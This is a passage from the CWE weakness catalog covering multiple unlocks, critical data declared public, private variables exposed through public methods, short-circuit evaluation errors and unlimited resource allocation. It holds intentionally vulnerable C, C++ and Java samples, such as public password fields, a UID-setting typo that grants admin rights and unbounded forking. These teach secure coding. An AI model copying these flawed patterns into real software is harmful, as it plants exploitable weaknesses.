When a product is operating in a concurrent environment and repeatedly locks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra locking calls will reduce the size of the total available pool, possibly leading to degraded performance or a denial of service. If this can be triggered by an attacker, it will be similar to an unrestricted lock (CWE-412). In the context of a binary lock, it is likely that any duplicate locking attempts will never succeed since the lock is already held and progress may not be possible.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		675	Multiple Operations on Resource in Single-Operation Context	1393
ChildOf		667	Improper Locking	1375

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1363

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1363

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		411	Resource Locking Problems	2118

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	
Integrity	DoS: Crash, Exit, or Restart Unexpected State	

### Potential Mitigations

**Phase: Implementation**

When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the software acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	987	SFP Secondary Cluster: Multiple Locks/Unlocks	888	2205

**Notes****Maintenance**

An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP21		Multiple locks/unlocks

**CWE-765: Multiple Unlocks of a Critical Resource****Weakness ID** : 765**Structure** : Simple**Abstraction** : Base**Description**

The product unlocks a critical resource more times than intended, leading to an unexpected state in the system.

**Extended Description**

When the product is operating in a concurrent environment and repeatedly unlocks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra calls to unlock will increase the count for the number of available resources, likely resulting in a crash or unpredictable behavior when the system nears capacity.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	675	Multiple Operations on Resource in Single-Operation Context	1393
ChildOf	C	667	Improper Locking	1375

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	411	Resource Locking Problems	2118

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Integrity	Modify Memory Unexpected State	

### Potential Mitigations

#### Phase: Implementation

When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the product acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.

### Observed Examples

Reference	Description
<b>CVE-2009-0935</b>	Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice <a href="https://www.cve.org/CVERecord?id=CVE-2009-0935">https://www.cve.org/CVERecord?id=CVE-2009-0935</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	987	SFP Secondary Cluster: Multiple Locks/Unlocks	888	2205

### Notes

#### Maintenance

An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP21		Multiple locks/unlocks

## CWE-766: Critical Data Element Declared Public

**Weakness ID** : 766

**Structure** : Simple

**Abstraction** : Variant

### Description

The product declares a critical variable, field, or member to be public when intended security policy requires it to be private.




## Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1061	Insufficient Encapsulation	1762

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		275	Permission Issues	2110

## Weakness Ordinalities

**Primary :**

**Indirect :**

## Applicable Platforms

**Language :** C++ (Prevalence = Undetermined)

**Language :** C# (Prevalence = Undetermined)

**Language :** Java (Prevalence = Undetermined)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Read Application Data	
Confidentiality	Modify Application Data	
	<i>Making a critical variable public allows anyone with access to the object in which the variable is contained to alter or read the value.</i>	
Other	Reduce Maintainability	

## Potential Mitigations

### Phase: Implementation

Data should be private, static, and final whenever possible. This will assure that your code is protected by instantiating early, preventing access, and preventing tampering.

## Demonstrative Examples

### Example 1:

The following example declares a critical variable public, making it accessible to anyone with access to the object in which it is contained.

*Example Language:* C++

(Bad)

```
public: char* password;
```

Instead, the critical data should be declared private.

*Example Language: C++**(Good)*

```
private: char* password;
```

Even though this example declares the password to be private, there are other possible issues with this implementation, such as the possibility of recovering the password from process memory (CWE-257).

**Example 2:**

The following example shows a basic user account class that includes member variables for the username and password as well as a public constructor for the class and a public method to authorize access to the user account.

*Example Language: C++**(Bad)*

```
#define MAX_PASSWORD_LENGTH 15
#define MAX_USERNAME_LENGTH 15
class UserAccount
{
public:
    UserAccount(char *username, char *password)
    {
        if ((strlen(username) > MAX_USERNAME_LENGTH) ||
            (strlen(password) > MAX_PASSWORD_LENGTH)) {
            ExitError("Invalid username or password");
        }
        strcpy(this->username, username);
        strcpy(this->password, password);
    }
    int authorizeAccess(char *username, char *password)
    {
        if ((strlen(username) > MAX_USERNAME_LENGTH) ||
            (strlen(password) > MAX_PASSWORD_LENGTH)) {
            ExitError("Invalid username or password");
        }
        // if the username and password in the input parameters are equal to
        // the username and password of this account class then authorize access
        if (strcmp(this->username, username) ||
            strcmp(this->password, password))
            return 0;
        // otherwise do not authorize access
        else
            return 1;
    }
    char username[MAX_USERNAME_LENGTH+1];
    char password[MAX_PASSWORD_LENGTH+1];
};
```

However, the member variables `username` and `password` are declared public and therefore will allow access and changes to the member variables to anyone with access to the object. These member variables should be declared private as shown below to prevent unauthorized access and changes.

*Example Language: C++**(Good)*

```
class UserAccount
{
public:
    ...
private:
    char username[MAX_USERNAME_LENGTH+1];
    char password[MAX_PASSWORD_LENGTH+1];
};
```

## Observed Examples

Reference	Description
<b>CVE-2010-3860</b>	variables declared public allows remote read of system properties such as user name and home directory. <a href="https://www.cve.org/CVERecord?id=CVE-2010-3860">https://www.cve.org/CVERecord?id=CVE-2010-3860</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2157
MemberOf	<b>C</b>	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2214
MemberOf	<b>C</b>	1130	CISQ Quality Measures (2016) - Maintainability	1128	2234
MemberOf	<b>C</b>	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	2239

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to protect stored data from modification
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ01-J		Declare data members as private and provide accessible wrapper methods
Software Fault Patterns	SFP28		Unexpected access points
OMG ASCMM	ASCMM-MNT-15		

## References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

## CWE-767: Access to Critical Private Variable via Public Method

**Weakness ID** : 767

**Structure** : Simple

**Abstraction** : Variant

### Description

The product defines a public method that reads or modifies a private variable.


### Extended Description

If an attacker modifies the variable to contain unexpected values, this could violate assumptions from other parts of the code. Additionally, if an attacker can read the private variable, it may expose sensitive information or make it easier to launch further attacks.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		275	Permission Issues	2110

### Applicable Platforms

**Language** : C++ (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Other	Other	

### Potential Mitigations

#### Phase: Implementation

Use class accessor and mutator methods appropriately. Perform validation when accepting data from a public method that is intended to modify a critical private variable. Also be sure that appropriate access controls are being applied when a public method interfaces with critical data.

### Demonstrative Examples

#### Example 1:

The following example declares a critical variable to be private, and then allows the variable to be modified by public methods.

*Example Language: C++*

*(Bad)*

```
private: float price;
public: void changePrice(float newPrice) {
    price = newPrice;
}
```

#### Example 2:

The following example could be used to implement a user forum where a single user (UID) can switch between multiple profiles (PID).

*Example Language: Java*

*(Bad)*

```
public class Client {
    private int UID;
    public int PID;
    private String userName;
    public Client(String userName){
        PID = getDefaultProfileID();
        UID = mapUserNameToUID( userName );
        this.userName = userName;
    }
    public void setPID(int ID) {
        UID = ID;
    }
}
```

The programmer implemented setPID with the intention of modifying the PID variable, but due to a typo, accidentally specified the critical variable UID instead. If the program allows profile IDs to

be between 1 and 10, but a UID of 1 means the user is treated as an admin, then a user could gain administrative privileges as a result of this typo.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	C	1184	SEI CERT Perl Coding Standard - Guidelines 06. Object-Oriented Programming (OOP)	1178	2260

### Notes

#### Maintenance

This entry is closely associated with access control for public methods. If the public methods are restricted with proper access controls, then the information in the private variable will not be exposed to unexpected parties. There may be chaining or composite relationships between improper access controls and this weakness.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to protect stored data from modification
Software Fault Patterns	SFP23		Exposed Data
SEI CERT Perl Coding Standard	OOP31-PL	Imprecise	Do not access private variables or subroutines in other packages

## CWE-768: Incorrect Short Circuit Evaluation

**Weakness ID :** 768

**Structure :** Simple

**Abstraction :** Variant

### Description

The product contains a conditional statement with multiple logical expressions in which one of the non-leading expressions may produce side effects. This may lead to an unexpected state in the program after the execution of the conditional, because short-circuiting logic may prevent the side effects from occurring.

### Extended Description

Usage of short circuit evaluation, though well-defined in the C standard, may alter control flow in a way that introduces logic errors that are difficult to detect, possibly causing errors later during the product's execution. If an attacker can discover such an inconsistency, it may be exploitable to gain arbitrary control over a system.

If the first condition of an "or" statement is assumed to be true under normal circumstances, or if the first condition of an "and" statement is assumed to be false, then any subsequent conditional may contain its own logic errors that are not detected during code review or testing.

Finally, the usage of short circuit evaluation may decrease the maintainability of the code.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1420

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	<i>Widely varied consequences are possible if an attacker is aware of an unexpected state in the product after a conditional. It may lead to information exposure, a system crash, or even complete attacker control of the system.</i>	

### Potential Mitigations

#### Phase: Implementation

Minimizing the number of statements in a conditional that produce side effects will help to prevent the likelihood of short circuit evaluation to alter control flow in an unexpected way.

### Demonstrative Examples

#### Example 1:

The following function attempts to take a size value from a user and allocate an array of that size (we ignore bounds checking for simplicity). The function tries to initialize each spot with the value of its index, that is,  $A[\text{len}-1] = \text{len} - 1$ ;  $A[\text{len}-2] = \text{len} - 2$ ; ...  $A[1] = 1$ ;  $A[0] = 0$ ; However, since the programmer uses the prefix decrement operator, when the conditional is evaluated with  $i == 1$ , the decrement will result in a 0 value for the first part of the predicate, causing the second portion to be bypassed via short-circuit evaluation. This means we cannot be sure of what value will be in  $A[0]$  when we return the array to the user.

*Example Language: C*

*(Bad)*

```
#define PRIV_ADMIN 0
#define PRIV_REGULAR 1
typedef struct{
    int privileges;
    int id;
} user_t;
user_t *Add_Regular_Users(int num_users){
    user_t* users = (user_t*)calloc(num_users, sizeof(user_t));
    int i = num_users;
    while( --i && (users[i].privileges = PRIV_REGULAR) ){
        users[i].id = i;
    }
    return users;
}
int main(){
    user_t* test;
    int i;
    test = Add_Regular_Users(25);
    for(i = 0; i < 25; i++) printf("user %d has privilege level %d\n", test[i].id, test[i].privileges);
}
```

When compiled and run, the above code will output a privilege level of 1, or PRIV\_REGULAR for every user but the user with id 0 since the prefix increment operator used in the if statement will

reach zero and short circuit before setting the 0th user's privilege level. Since we used calloc, this privilege will be set to 0, or PRIV\_ADMIN.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		871	CERT C++ Secure Coding Section 03 - Expressions (EXP)	868	2167
MemberOf		998	SFP Secondary Cluster: Glitch in Computation	888	2212

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to protect stored data from modification
Software Fault Patterns	SFP1		Glitch in computation

## CWE-770: Allocation of Resources Without Limits or Throttling

**Weakness ID :** 770

**Structure :** Simple

**Abstraction :** Base

### Description

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor.

### Extended Description

Code frequently has to work with limited resources, so programmers must be careful to ensure that resources are not consumed too quickly, or too easily. Without use of quotas, resource limits, or other protection mechanisms, it can be easy for an attacker to consume many resources by rapidly making many requests, or causing larger resources to be used than is needed. When too many resources are allocated, or if a single resource is too large, then it can prevent the code from working correctly, possibly leading to a denial of service.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1368
ChildOf		400	Uncontrolled Resource Consumption	912
ParentOf		774	Allocation of File Descriptors or Handles Without Limits or Throttling	1518
ParentOf		789	Memory Allocation with Excessive Size Value	1558
ParentOf		1325	Improperly Controlled Sequential Memory Allocation	2035
CanFollow		20	Improper Input Validation	19



*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		400	Uncontrolled Resource Consumption	912

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2117
MemberOf		840	Business Logic Errors	2153

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Often*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other)  <i>When allocating resources without limits, an attacker could prevent other systems, applications, or processes from accessing the same type of resource.</i>	

### Detection Methods

#### Manual Static Analysis

Manual static analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. If denial-of-service is not considered a significant risk, or if there is strong emphasis on consequences such as code execution, then manual analysis may not focus on this weakness at all.

#### Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find uncontrolled resource allocation problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to limit resource allocation may be the cause. When the allocation is directly affected by numeric inputs, then fuzzing may produce indications of this weakness.

*Effectiveness = Opportunistic*

#### Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in producing side effects of uncontrolled resource allocation problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame. Manual analysis is likely required to interpret the results.

#### Automated Static Analysis

Specialized configuration or tuning may be required to train automated tools to recognize this weakness. Automated static analysis typically has limited utility in recognizing unlimited

allocation problems, except for the missing release of program-independent system resources such as files, sockets, and processes, or unchecked arguments to memory. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired, or if too much of a resource is requested at once, as can occur with memory. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value. Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

## Potential Mitigations

### Phase: Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

### Phase: Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

### Phase: Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

### Phase: Architecture and Design

Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an

issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.

#### Phase: Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

#### Phase: Architecture and Design

##### Phase: Implementation

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.

#### Phase: Operation

##### Phase: Architecture and Design

*Strategy = Resource Limitation*

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

### Demonstrative Examples

#### Example 1:

This code allocates a socket and forks each time it receives a new connection.

*Example Language: C*

*(Bad)*

```
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {
    newsock=accept(sock, ...);
    printf("A connection has been accepted\n");
    pid = fork();
}
```

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

#### Example 2:

In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method `openSocketConnection` establishes a server socket to accept requests from a client. When a client establishes a connection to this service the `getNextMessage` method is first used to retrieve from the socket the name of the file

to store the data, the `openFileToWrite` method will validate the filename and open a file to write to on the local file system. The `getNextMessage` is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

Example Language: C

(Bad)

```
int writeDataFromSocketToFile(char *host, int port)
{
    char filename[FILENAME_SIZE];
    char buffer[BUFFER_SIZE];
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
    if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
        if (openFileToWrite(filename) > 0) {
            while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
                if (!(writeToFile(buffer) > 0))
                    break;
            }
        }
        closeFile();
    }
    closeSocket(socket);
}
```

This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.

### Example 3:

In the following example, the `processMessage` method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The `getMessageLength` method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

Example Language: C

(Bad)

```
/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be
processed */
int processMessage(char **message)
{
    char *body;
    int length = getMessageLength(message[0]);
    if (length > 0) {
        body = &message[1][0];
        processMessageBody(body);
        return(SUCCESS);
    }
    else {
        printf("Unable to process message; invalid message length");
        return(FAIL);
    }
}
```

This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check

Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

*Example Language: C*

(Good)

```
unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}
```

#### Example 4:

In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.

*Example Language: Java*

(Bad)

```
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + ":" + counter++);
            t.start();
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.

*Example Language: Java*

(Good)

```
public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;
...
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            hasConnections = checkForMoreConnections();
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + ":" + counter++);
            ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
            pool.execute(t);
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

**Example 5:**

An unnamed web site allowed a user to purchase tickets for an event. A menu option allowed the user to purchase up to 10 tickets, but the back end did not restrict the actual number of tickets that could be purchased.

**Example 6:**

Here the problem is that every time a connection is made, more memory is allocated. So if one just opened up more and more connections, eventually the machine would run out of memory.

Example Language: C

(Bad)

```
bar connection() {
    foo = malloc(1024);
    return foo;
}
endConnection(bar foo) {
    free(foo);
}
int main() {
    while(1) {
        foo=connection();
    }
    endConnection(foo)
}
```

**Observed Examples**

Reference	Description
<b>CVE-2022-21668</b>	Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190). <a href="https://www.cve.org/CVERecord?id=CVE-2022-21668">https://www.cve.org/CVERecord?id=CVE-2022-21668</a>
<b>CVE-2009-4017</b>	Language interpreter does not restrict the number of temporary files being created when handling a MIME request with a large number of parts.. <a href="https://www.cve.org/CVERecord?id=CVE-2009-4017">https://www.cve.org/CVERecord?id=CVE-2009-4017</a>
<b>CVE-2009-2726</b>	Driver does not use a maximum width when invoking sscanf style functions, causing stack consumption. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2726">https://www.cve.org/CVERecord?id=CVE-2009-2726</a>
<b>CVE-2009-2540</b>	Large integer value for a length property in an object causes a large amount of memory allocation. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2540">https://www.cve.org/CVERecord?id=CVE-2009-2540</a>
<b>CVE-2009-2054</b>	Product allows exhaustion of file descriptors when processing a large number of TCP packets. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2054">https://www.cve.org/CVERecord?id=CVE-2009-2054</a>
<b>CVE-2008-5180</b>	Communication product allows memory consumption with a large number of SIP requests, which cause many sessions to be created. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5180">https://www.cve.org/CVERecord?id=CVE-2008-5180</a>
<b>CVE-2008-1700</b>	Product allows attackers to cause a denial of service via a large number of directives, each of which opens a separate window. <a href="https://www.cve.org/CVERecord?id=CVE-2008-1700">https://www.cve.org/CVERecord?id=CVE-2008-1700</a>
<b>CVE-2005-4650</b>	CMS does not restrict the number of searches that can occur simultaneously, leading to resource exhaustion. <a href="https://www.cve.org/CVERecord?id=CVE-2005-4650">https://www.cve.org/CVERecord?id=CVE-2005-4650</a>
<b>CVE-2020-15100</b>	web application scanner attempts to read an excessively large file created by a user, causing process termination <a href="https://www.cve.org/CVERecord?id=CVE-2020-15100">https://www.cve.org/CVERecord?id=CVE-2020-15100</a>
<b>CVE-2020-7218</b>	Go-based workload orchestrator does not limit resource usage with unauthenticated connections, allowing a DoS by flooding the service



Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2020-7218">https://www.cve.org/CVERecord?id=CVE-2020-7218</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	2148
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2161
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	2162
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	2163
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2166
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	985	SFP Secondary Cluster: Unrestricted Consumption	888	2204
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2244
MemberOf	C	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)	1133	2244
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	2246

